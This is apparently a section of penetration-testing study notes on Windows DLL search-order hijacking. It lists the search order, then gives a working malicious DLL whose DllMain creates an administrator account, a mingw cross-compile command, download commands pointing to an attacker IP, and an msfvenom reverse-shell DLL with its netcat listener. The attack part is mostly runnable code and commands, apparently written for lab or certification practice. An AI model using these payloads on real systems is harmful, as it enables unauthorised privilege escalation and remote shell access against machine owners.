6. DLL Hijacking

DLL Search Order:

1. The directory from which the application loaded.
2. The system directory.
3. The 16-bit system directory.
4. The Windows directory. 
5. The current directory.
6. The directories that are listed in the PATH environment variable.
$env:path  

One-liner to list all paths and the permissions for them (GPT):

$env:path -split ";" | ForEach-Object { "$_"; (icacls.exe $_) | Select-String -Pattern ":\s*\([^)]+\)" }

Inner workings of DLLs:

BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
    switch ( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACH: // A process is loading the DLL.
        break;
        case DLL_THREAD_ATTACH: // A process is creating a new thread.
        break;
        case DLL_THREAD_DETACH: // A thread exits normally.
        break;
        case DLL_PROCESS_DETACH: // A process unloads the DLL.
        break;
    }
    return TRUE;
}

DLL Search Order Hijacking:

  1. Start procmon or other to review services and their DLLs. (Procmon has to be run as administrator on the target machine, otherwise the binary has to be copied and analysed locally)
  2. Find a DLL which is missing.
  3. Create a DLL in the form of a '.cpp'-file on your Kali. Example of new admin user:
#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
    switch ( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACH: // A process is loading the DLL.
        int i;
  	    i = system ("net user zombie password123! /add");
  	    i = system ("net localgroup administrators zombie /add");
        break;
        case DLL_THREAD_ATTACH: // A process is creating a new thread.
        break;
        case DLL_THREAD_DETACH: // A thread exits normally.
        break;
        case DLL_PROCESS_DETACH: // A process unloads the DLL.
        break;
    }
    return TRUE;
}
  1. Cross-compile the DLL with mingw:
x86_64-w64-mingw32-gcc <dllname>.cpp --shared -o <dllname>.dll
  1. Serve the DLL and download it.
iwr -uri http://192.168.119.3/myDLL.dll -Outfile myDLL.dll
  1. Move the DLL to the optimal position in the search order path using 'move'.
  2. Restart the service loading the DLL:
Restart-Service <servicename>
  1. Win!

DLL Reverse Shell with MSF:

sudo msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.226 LPORT=443 -a x64 --platform Windows -f dll -o EnterpriseServiceOptional.dll

nc -lvnp 443

iwr -uri http://192.168.45.226:8001/EnterpriseServiceOptional.dll -Outfile EnterpriseServiceOptional.dll

RestartService EnterpriseService